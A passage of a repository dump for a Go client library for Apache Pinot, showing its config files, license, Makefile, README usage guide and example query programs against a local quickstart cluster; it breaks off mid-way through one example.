├── .gitignore ├── .golangci.yml ├── LICENSE ├── Makefile ├── README.md ├── examples ├── batch-quickstart │ └── main.go ├── json-batch-quickstart │ └── main.go ├── multistage-quickstart │ └── main.go ├── pinot-client-with-config-and-http-client │ └── main.go ├── pinot-client-withconfig │ └── main.go └── pinot-live-demo │ └── main.go ├── go.mod ├── go.sum ├── integration-tests └── batch_quickstart_test.go ├── pinot ├── brokerSelector.go ├── clientTransport.go ├── config.go ├── connection.go ├── connectionFactory.go ├── connectionFactory_test.go ├── connection_test.go ├── controllerBasedBrokerSelector.go ├── controllerBasedBrokerSelector_test.go ├── controllerResponse.go ├── controllerResponse_test.go ├── dynamicBrokerSelector.go ├── dynamicBrokerSelector_test.go ├── json.go ├── jsonAsyncHTTPClientTransport.go ├── jsonAsyncHTTPClientTransport_test.go ├── request.go ├── response.go ├── response_test.go ├── simplebrokerselector.go ├── simplebrokerselector_test.go ├── tableAwareBrokerSelector.go └── tableAwareBrokerSelector_test.go └── scripts └── start-pinot-quickstart.sh /.gitignore: -------------------------------------------------------------------------------- 1 | # Binaries for programs and plugins 2 | *.exe 3 | *.exe~ 4 | *.dll 5 | *.so 6 | *.dylib 7 | batch-quickstart 8 | 9 | # Test binary, built with `go test -c` 10 | *.test 11 | 12 | # Output of the go coverage tool, specifically when used with LiteIDE 13 | *.out 14 | profile.cov 15 | 16 | # Dependency directories (remove the comment below to include it) 17 | # vendor/ 18 | .idea 19 | 20 | # Misc 21 | .DS_Store -------------------------------------------------------------------------------- /.golangci.yml: -------------------------------------------------------------------------------- 1 | run: 2 | # Allow multiple parallel golangci-lint instances running. 3 | # If false (default) - golangci-lint acquires file lock on start. 4 | allow-parallel-runners: true 5 | 6 | output: 7 | # sorts results by: filepath, line and column 8 | sort-results: true 9 | 10 | linters: 11 | enable: 12 | - errcheck 13 | - gofmt 14 | - goimports 15 | - gosec 16 | - govet 17 | - ineffassign 18 | - staticcheck 19 | - typecheck 20 | - revive 21 | - unused 22 | disable: 23 | - gochecknoinits 24 | - gochecknoglobals 25 | 26 | linters-settings: 27 | shadow: 28 | enable: true 29 | # report about shadowed variables 30 | check-shadowing: true 31 | 32 | # enable or disable analyzers by name 33 | # run `go tool vet help` to see all analyzers 34 | enable-all: true 35 | golint: 36 | min-confidence: 0.8 37 | gocritic: 38 | enabled-checks: 39 | - appendCombine 40 | - argOrder 41 | - badCond 42 | - dupBranchBody 43 | - dupCase 44 | - dupSubExpr 45 | - elseif 46 | - hugeParam 47 | - initClause 48 | - rangeValCopy 49 | - sloppyLen 50 | - typeSwitchVar 51 | - underef 52 | - unlambda 53 | - unslice 54 | gofmt: 55 | simplify: true 56 | goimports: 57 | local-prefixes: github.com/myorg/mypackage 58 | errcheck: 59 | check-type-assertions: true 60 | check-blank: true 61 | 62 | issues: 63 | exclude-use-default: false 64 | exclude-rules: 65 | - linters: 66 | - govet 67 | text: "composite literal uses unkeyed fields" 68 | - linters: 69 | - golint 70 | text: "should have comment or be unexported" 71 | - linters: 72 | - staticcheck 73 | text: "SA5001: should check returned error before deferring" 74 | 75 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "[]" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright [yyyy] [name of copyright owner] 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | # make file to hold the logic of build and test setup 2 | PACKAGES := $(shell go list ./... | grep -v examples| grep -v integration-tests) 3 | INTEGRATION_TESTS_PACKAGES := $(shell go list ./... | grep integration-tests) 4 | 5 | .DEFAULT_GOAL := test 6 | 7 | .PHONY: install-covertools 8 | install-covertools: 9 | go get github.com/mattn/goveralls 10 | go get golang.org/x/tools/cmd/cover 11 | 12 | .PHONY: install-deps 13 | install-deps: 14 | go get github.com/go-zookeeper/zk 15 | go get github.com/sirupsen/logrus 16 | go get github.com/stretchr/testify/assert 17 | go get github.com/stretchr/testify/mock 18 | 19 | .PHONY: setup 20 | setup: install-covertools install-deps 21 | 22 | .PHONY: lint 23 | lint: 24 | go fmt ./... 25 | go vet ./... 26 | 27 | .PHONY: build 28 | build: 29 | go build ./... 30 | 31 | .PHONY: test 32 | test: build 33 | go test -timeout 500s -v -race -covermode atomic -coverprofile=coverage.out $(PACKAGES) 34 | 35 | .PHONY: run-pinot-dist 36 | run-pinot-dist: 37 | ./scripts/start-pinot-quickstart.sh 38 | 39 | .PHONY: run-pinot-docker 40 | run-pinot-docker: 41 | docker run --name pinot-quickstart -p 2123:2123 -p 9000:9000 -p 8000:8000 apachepinot/pinot:latest QuickStart -type MULTI_STAGE 42 | 43 | .PHONY: integration-test 44 | integration-test: build 45 | go test -timeout 500s -v -race -covermode atomic -coverprofile=coverage.out $(INTEGRATION_TESTS_PACKAGES) 46 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Pinot Client GO 2 | 3 | [![Go 1.19](https://img.shields.io/badge/go-1.19-blue.svg)](https://golang.org/dl/#go1.19) 4 | [![GoDoc](https://img.shields.io/badge/go.dev-reference-007d9c?logo=go&logoColor=white)](https://pkg.go.dev/github.com/advancedscho/pinot-client-go) 5 | [![Build Status](https://github.com/advancedscho/pinot-client-go/actions/workflows/tests.yml/badge.svg)](https://github.com/advancedscho/pinot-client-go/actions/workflows/tests.yml) 6 | [![Coverage Status](https://coveralls.io/repos/github/startreedata/pinot-client-go/badge.svg?branch=master)](https://coveralls.io/github/startreedata/pinot-client-go?branch=master) 7 | 8 | ![image](https://user-images.githubusercontent.com/1202120/116982228-63315900-ac7d-11eb-96e5-01a04ef7d737.png) 9 | 10 | Applications can use this golang client library to query Apache Pinot. 11 | 12 | # Examples 13 | 14 | ## Local Pinot test 15 | 16 | Please follow this [Pinot Quickstart](https://docs.pinot.apache.org/basics/getting-started/running-pinot-locally) link to install and start Pinot batch quickstart locally. 17 | 18 | ```sh 19 | bin/quick-start-batch.sh 20 | ``` 21 | 22 | Check out Client library Github Repo 23 | 24 | ```sh 25 | git clone git@github.com:startreedata/pinot-client-go.git 26 | cd pinot-client-go 27 | ``` 28 | 29 | Build and run the example application to query from Pinot Batch Quickstart 30 | 31 | ```sh 32 | go build ./examples/batch-quickstart 33 | ./batch-quickstart 34 | ``` 35 | 36 | ## Pinot Json Index QuickStart 37 | 38 | Please follow this [Pinot Quickstart](https://docs.pinot.apache.org/basics/getting-started/running-pinot-locally) link to install and start Pinot json batch quickstart locally. 39 | 40 | ```sh 41 | bin/quick-start-json-index-batch.sh 42 | ``` 43 | 44 | Check out Client library Github Repo 45 | 46 | ```sh 47 | git clone git@github.com:startreedata/pinot-client-go.git 48 | cd pinot-client-go 49 | ``` 50 | 51 | Build and run the example application to query from Pinot Json Batch Quickstart 52 | 53 | ```sh 54 | go build ./examples/json-batch-quickstart 55 | ./json-batch-quickstart 56 | ``` 57 | 58 | # Usage 59 | 60 | ## Create a Pinot Connection 61 | 62 | Pinot client could be initialized through: 63 | 64 | 1. Zookeeper Path. 65 | 66 | ```go 67 | pinotClient, err := pinot.NewFromZookeeper([]string{"localhost:2123"}, "", "QuickStartCluster") 68 | ``` 69 | 70 | 2. Controller address. 71 | 72 | ```go 73 | pinotClient, err := pinot.NewFromController("localhost:9000") 74 | ``` 75 | 76 | When the controller-based broker selector is used, the client will periodically fetch the table-to-broker mapping from the controller API. When using `http` scheme, the `http://` controller address prefix is optional. 77 | 78 | 3. A list of broker addresses. 79 | 80 | - For HTTP 81 | Default scheme is HTTP if not specified. 82 | 83 | ```go 84 | pinotClient, err := pinot.NewFromBrokerList([]string{"localhost:8000"}) 85 | ``` 86 | 87 | - For HTTPS 88 | Scheme is required to be part of the URI. 89 | 90 | ```go 91 | pinotClient, err := pinot.NewFromBrokerList([]string{"https://pinot-broker.pinot.live"}) 92 | ``` 93 | 94 | 4. ClientConfig 95 | 96 | Via Zookeeper path: 97 | 98 | ```go 99 | pinotClient, err := pinot.NewWithConfig(&pinot.ClientConfig{ 100 | ZkConfig: &pinot.ZookeeperConfig{ 101 | ZookeeperPath: zkPath, 102 | PathPrefix: strings.Join([]string{zkPathPrefix, pinotCluster}, "/"), 103 | SessionTimeoutSec: defaultZkSessionTimeoutSec, 104 | }, 105 | // additional header added to Broker Query API requests 106 | ExtraHTTPHeader: map[string]string{ 107 | "extra-header":"value", 108 | }, 109 | }) 110 | ``` 111 | 112 | Via controller address: 113 | 114 | ```go 115 | pinotClient, err := pinot.NewWithConfig(&pinot.ClientConfig{ 116 | ControllerConfig: &pinot.ControllerConfig{ 117 | ControllerAddress: "localhost:9000", 118 | // Frequency of broker data refresh in milliseconds via controller API - defaults to 1000ms 119 | UpdateFreqMs: 500, 120 | // Additional HTTP headers to include in the controller API request 121 | ExtraControllerAPIHeaders: map[string]string{ 122 | "header": "val", 123 | }, 124 | }, 125 | // additional header added to Broker Query API requests 126 | ExtraHTTPHeader: map[string]string{ 127 | "extra-header": "value", 128 | }, 129 | }) 130 | ``` 131 | 132 | ### Add HTTP timeout for Pinot Queries 133 | 134 | By Default this client uses golang's default http timeout, which is "No TImeout". If you want pinot queries to timeout within given time, add `HTTPTimeout` in `ClientConfig` 135 | 136 | ```go 137 | pinotClient, err := pinot.NewWithConfig(&pinot.ClientConfig{ 138 | ZkConfig: &pinot.ZookeeperConfig{ 139 | ZookeeperPath: zkPath, 140 | PathPrefix: strings.Join([]string{zkPathPrefix, pinotCluster}, "/"), 141 | SessionTimeoutSec: defaultZkSessionTimeoutSec, 142 | }, 143 | // additional header added to Broker Query API requests 144 | ExtraHTTPHeader: map[string]string{ 145 | "extra-header":"value", 146 | }, 147 | // optional HTTP timeout parameter for Pinot Queries. 148 | HTTPTimeout: 300 * time.Millisecond, 149 | }) 150 | ``` 151 | 152 | ## Query Pinot 153 | 154 | Please see this [example](https://github.com/advancedscho/pinot-client-go/blob/master/examples/batch-quickstart/main.go) for your reference. 155 | 156 | Code snippet: 157 | 158 | ```go 159 | pinotClient, err := pinot.NewFromZookeeper([]string{"localhost:2123"}, "", "QuickStartCluster") 160 | if err != nil { 161 | log.Error(err) 162 | } 163 | brokerResp, err := pinotClient.ExecuteSQL("baseballStats", "select count(*) as cnt, sum(homeRuns) as sum_homeRuns from baseballStats group by teamID limit 10") 164 | if err != nil { 165 | log.Error(err) 166 | } 167 | log.Infof("Query Stats: response time - %d ms, scanned docs - %d, total docs - %d", brokerResp.TimeUsedMs, brokerResp.NumDocsScanned, brokerResp.TotalDocs) 168 | ``` 169 | 170 | ## Query Pinot with Multi-Stage Engine 171 | 172 | Please see this [example](https://github.com/advancedscho/pinot-client-go/blob/master/examples/multistage-quickstart/main.go) for your reference. 173 | 174 | How to run it: 175 | 176 | ```sh 177 | go build ./examples/multistage-quickstart 178 | ./multistage-quickstart 179 | ``` 180 | 181 | Code snippet: 182 | 183 | ```go 184 | pinotClient, err := pinot.NewFromZookeeper([]string{"localhost:2123"}, "", "QuickStartCluster") 185 | if err != nil { 186 | log.Error(err) 187 | } 188 | pinotClient.UseMultistageEngine(true) 189 | ``` 190 | 191 | ## Response Format 192 | 193 | Query Response is defined as the struct of following: 194 | 195 | ```go 196 | type BrokerResponse struct { 197 | AggregationResults []*AggregationResult `json:"aggregationResults,omitempty"` 198 | SelectionResults *SelectionResults `json:"SelectionResults,omitempty"` 199 | ResultTable *ResultTable `json:"resultTable,omitempty"` 200 | Exceptions []Exception `json:"exceptions"` 201 | TraceInfo map[string]string `json:"traceInfo,omitempty"` 202 | NumServersQueried int `json:"numServersQueried"` 203 | NumServersResponded int `json:"numServersResponded"` 204 | NumSegmentsQueried int `json:"numSegmentsQueried"` 205 | NumSegmentsProcessed int `json:"numSegmentsProcessed"` 206 | NumSegmentsMatched int `json:"numSegmentsMatched"` 207 | NumConsumingSegmentsQueried int `json:"numConsumingSegmentsQueried"` 208 | NumDocsScanned int64 `json:"numDocsScanned"` 209 | NumEntriesScannedInFilter int64 `json:"numEntriesScannedInFilter"` 210 | NumEntriesScannedPostFilter int64 `json:"numEntriesScannedPostFilter"` 211 | NumGroupsLimitReached bool `json:"numGroupsLimitReached"` 212 | TotalDocs int64 `json:"totalDocs"` 213 | TimeUsedMs int `json:"timeUsedMs"` 214 | MinConsumingFreshnessTimeMs int64 `json:"minConsumingFreshnessTimeMs"` 215 | } 216 | ``` 217 | 218 | Note that `AggregationResults` and `SelectionResults` are holders for PQL queries. 219 | 220 | Meanwhile `ResultTable` is the holder for SQL queries. 221 | `ResultTable` is defined as: 222 | 223 | ```go 224 | // ResultTable is a ResultTable 225 | type ResultTable struct { 226 | DataSchema RespSchema `json:"dataSchema"` 227 | Rows [][]interface{} `json:"rows"` 228 | } 229 | ``` 230 | 231 | `RespSchema` is defined as: 232 | 233 | ```go 234 | // RespSchema is response schema 235 | type RespSchema struct { 236 | ColumnDataTypes []string `json:"columnDataTypes"` 237 | ColumnNames []string `json:"columnNames"` 238 | } 239 | ``` 240 | 241 | There are multiple functions defined for `ResultTable`, like: 242 | 243 | ```go 244 | func (r ResultTable) GetRowCount() int 245 | func (r ResultTable) GetColumnCount() int 246 | func (r ResultTable) GetColumnName(columnIndex int) string 247 | func (r ResultTable) GetColumnDataType(columnIndex int) string 248 | func (r ResultTable) Get(rowIndex int, columnIndex int) interface{} 249 | func (r ResultTable) GetString(rowIndex int, columnIndex int) string 250 | func (r ResultTable) GetInt(rowIndex int, columnIndex int) int 251 | func (r ResultTable) GetLong(rowIndex int, columnIndex int) int64 252 | func (r ResultTable) GetFloat(rowIndex int, columnIndex int) float32 253 | func (r ResultTable) GetDouble(rowIndex int, columnIndex int) float64 254 | ``` 255 | 256 | Sample Usage is [here](https://github.com/advancedscho/pinot-client-go/blob/master/examples/batch-quickstart/main.go#L58) 257 | 258 | # How to release 259 | 260 | ## Tag and publish the release in Github 261 | 262 | Tag the version: 263 | 264 | ```sh 265 | git tag -a v0.5.0 -m "v0.5.0" 266 | git push origin v0.5.0 267 | ``` 268 | 269 | Go to [Github Release](https://github.com/advancedscho/pinot-client-go/releases) and create a new release with the tag, e.g. [Pinot Golang Client v0.5.0](https://github.com/advancedscho/pinot-client-go/releases/tag/v0.5.0) 270 | 271 | ## Publish the release in Go Modules 272 | 273 | The published Release will be available in [Go Modules](https://pkg.go.dev/github.com/advancedscho/pinot-client-go). 274 | 275 | If not available, go to the corresponding new version page (https://pkg.go.dev/github.com/advancedscho/pinot-client-go@v0.5.0) and click on the "Request New Version" button. 276 | 277 | -------------------------------------------------------------------------------- /examples/batch-quickstart/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "encoding/json" 5 | "fmt" 6 | 7 | pinot "github.com/advancedscho/pinot-client-go/pinot" 8 | 9 | log "github.com/sirupsen/logrus" 10 | ) 11 | 12 | func main() { 13 | pinotClient, err := pinot.NewFromZookeeper([]string{"localhost:2123"}, "", "QuickStartCluster") 14 | if err != nil { 15 | log.Error(err) 16 | } 17 | table := "baseballStats" 18 | pinotQueries := []string{ 19 | "select * from baseballStats limit 10", 20 | "select count(*) as cnt from baseballStats limit 1", 21 | "select count(*) as cnt, sum(homeRuns) as sum_homeRuns from baseballStats limit 1", 22 | "select teamID, count(*) as cnt, sum(homeRuns) as sum_homeRuns from baseballStats group by teamID limit 10", 23 | "select max(league) from baseballStats limit 10", 24 | } 25 | 26 | log.Infof("Querying SQL") 27 | for _, query := range pinotQueries { 28 | log.Infof("Trying to query Pinot: %v", query) 29 | brokerResp, err := pinotClient.ExecuteSQL(table, query) 30 | if err != nil { 31 | log.Error(err) 32 | } 33 | printBrokerResp(brokerResp) 34 | } 35 | } 36 | 37 | func printBrokerResp(brokerResp *pinot.BrokerResponse) { 38 | log.Infof("Query Stats: response time - %d ms, scanned docs - %d, total docs - %d", brokerResp.TimeUsedMs, brokerResp.NumDocsScanned, brokerResp.TotalDocs) 39 | if brokerResp.Exceptions != nil && len(brokerResp.Exceptions) > 0 { 40 | jsonBytes, _ := json.Marshal(brokerResp.Exceptions) 41 | log.Infof("brokerResp.Exceptions:\n%s\n", jsonBytes) 42 | return 43 | } 44 | if brokerResp.ResultTable != nil { 45 | jsonBytes, _ := json.Marshal(brokerResp.ResultTable) 46 | log.Infof("brokerResp.ResultTable:\n%s\n", jsonBytes) 47 | line := "" 48 | for c := 0; c < brokerResp.ResultTable.GetColumnCount(); c++ { 49 | line += fmt.Sprintf("%s(%s)\t", brokerResp.ResultTable.GetColumnName(c), brokerResp.ResultTable.GetColumnDataType(c)) 50 | } 51 | line += "\n" 52 | for r := 0; r < brokerResp.ResultTable.GetRowCount(); r++ { 53 | for c := 0; c < brokerResp.ResultTable.GetColumnCount(); c++ { 54 | line += fmt.Sprintf("%v\t", brokerResp.ResultTable.Get(r, c)) 55 | } 56 | line += "\n" 57 | } 58 | log.Infof("ResultTable:\n%s", line) 59 | return 60 | } 61 | if brokerResp.AggregationResults != nil { 62 | jsonBytes, _ := json.Marshal(brokerResp.AggregationResults) 63 | log.Infof("brokerResp.AggregationResults:\n%s\n", jsonBytes) 64 | return 65 | } 66 | if brokerResp.SelectionResults != nil { 67 | jsonBytes, _ := json.Marshal(brokerResp.SelectionResults) 68 | log.Infof("brokerResp.SelectionResults:\n%s\n", jsonBytes) 69 | return 70 | } 71 | } 72 | -------------------------------------------------------------------------------- /examples/json-batch-quickstart/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "encoding/json" 5 | "fmt" 6 | 7 | pinot "github.com/advancedscho/pinot-client-go/pinot" 8 | 9 | log "github.com/sirupsen/logrus" 10 | ) 11 | 12 | func main() { 13 | pinotClient, err := pinot.NewFromZookeeper([]string{"localhost:2123"}, "", "QuickStartCluster") 14 | if err != nil { 15 | log.Error(err) 16 | } 17 | table := "githubEvents" 18 | pinotQueries := []string{ 19 | "SELECT * FROM githubEvents LIMIT 5", 20 | "SELECT created_at_timestamp FROM githubEvents LIMIT 5", 21 | "select json_extract_scalar(repo, '$.name', 'STRING'), count(*) from githubEvents where json_match(actor, '\"$.login\"=''LombiqBot''') group by 1 order by 2 desc limit 10", 22 | } 23 | 24 | log.Infof("Querying SQL") 25 | for _, query := range pinotQueries { 26 | log.Infof("Trying to query Pinot: %v", query) 27 | brokerResp, err := pinotClient.ExecuteSQL(table, query) 28 | if err != nil { 29 | log.Error(err) 30 | } 31 | printBrokerResp(brokerResp) 32 | } 33 | } 34 | 35 | func printBrokerResp(brokerResp *pinot.BrokerResponse) { 36 | log.Infof("Query Stats: response time - %d ms, scanned docs - %d, total docs - %d", brokerResp.TimeUsedMs, brokerResp.NumDocsScanned, brokerResp.TotalDocs) 37 | if brokerResp.Exceptions != nil && len(brokerResp.Exceptions) > 0 { 38 | jsonBytes, _ := json.Marshal(brokerResp.Exceptions) 39 | log.Infof("brokerResp.Exceptions:\n%s\n", jsonBytes) 40 | return 41 | } 42 | if brokerResp.ResultTable != nil { 43 | jsonBytes, _ := json.Marshal(brokerResp.ResultTable) 44 | log.Infof("brokerResp.ResultTable:\n%s\n", jsonBytes) 45 | line := "" 46 | for c := 0; c < brokerResp.ResultTable.GetColumnCount(); c++ { 47 | line += fmt.Sprintf("%s(%s)\t", brokerResp.ResultTable.GetColumnName(c), brokerResp.ResultTable.GetColumnDataType(c)) 48 | } 49 | line += "\n" 50 | for r := 0; r < brokerResp.ResultTable.GetRowCount(); r++ { 51 | for c := 0; c < brokerResp.ResultTable.GetColumnCount(); c++ { 52 | line += fmt.Sprintf("%v\t", brokerResp.ResultTable.Get(r, c)) 53 | } 54 | line += "\n" 55 | } 56 | log.Infof("ResultTable:\n%s", line) 57 | return 58 | } 59 | } 60 | -------------------------------------------------------------------------------- /examples/multistage-quickstart/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "encoding/json" 5 | "fmt" 6 | 7 | pinot "github.com/advancedscho/pinot-client-go/pinot" 8 | 9 | log "github.com/sirupsen/logrus" 10 | ) 11 | 12 | func main() { 13 | pinotClient, err := pinot.NewFromZookeeper([]string{"localhost:2123"}, "", "QuickStartCluster") 14 | if err != nil { 15 | log.Error(err) 16 | } 17 | pinotClient.UseMultistageEngine(true) 18 | table := "baseballStats" 19 | pinotQueries := []string{ 20 | "select * from baseballStats limit 10", 21 | "select count(*) as cnt from baseballStats limit 1", 22 | "select count(*) as cnt, sum(homeRuns) as sum_homeRuns from baseballStats limit 1", 23 | "select teamID, count(*) as cnt, sum(homeRuns) as sum_homeRuns from baseballStats group by teamID limit 10", 24 | "select distinctCount(league) as unique_league_cnt from baseballStats limit 10", 25 | } 26 | 27 | log.Infof("Querying SQL") 28 | for _, query := range pinotQueries { 29 | log.Infof("Trying to query Pinot: %v", query) 30 | brokerResp, err := pinotClient.ExecuteSQL(table, query) 31 | if err != nil { 32 | log.Error(err) 33 | } 34 | printBrokerResp(brokerResp) 35 | } 36 | } 37 | 38 | func printBrokerResp(brokerResp *pinot.BrokerResponse) { 39 | log.Infof("Query Stats: response time - %d ms, scanned docs - %d, total docs - %d", brokerResp.TimeUsedMs, brokerResp.NumDocsScanned, brokerResp.TotalDocs) 40 | if brokerResp.Exceptions != nil && len(brokerResp.Exceptions) > 0 { 41 | jsonBytes, _ := json.Marshal(brokerResp.Exceptions) 42 | log.Infof("brokerResp.Exceptions:\n%s\n", jsonBytes) 43 | return 44 | } 45 | if brokerResp.ResultTable != nil { 46 | jsonBytes, _ := json.Marshal(brokerResp.ResultTable) 47 | log.Infof("brokerResp.ResultTable:\n%s\n", jsonBytes) 48 | line := "" 49 | for c := 0; c < brokerResp.ResultTable.GetColumnCount(); c++ { 50 | line += fmt.Sprintf("%s(%s)\t", brokerResp.ResultTable.GetColumnName(c), brokerResp.ResultTable.GetColumnDataType(c)) 51 | } 52 | line += "\n" 53 | for r := 0; r < brokerResp.ResultTable.GetRowCount(); r++ { 54 | for c := 0; c < brokerResp.ResultTable.GetColumnCount(); c++ { 55 | line += fmt.Sprintf("%v\t", brokerResp.ResultTable.Get(r, c)) 56 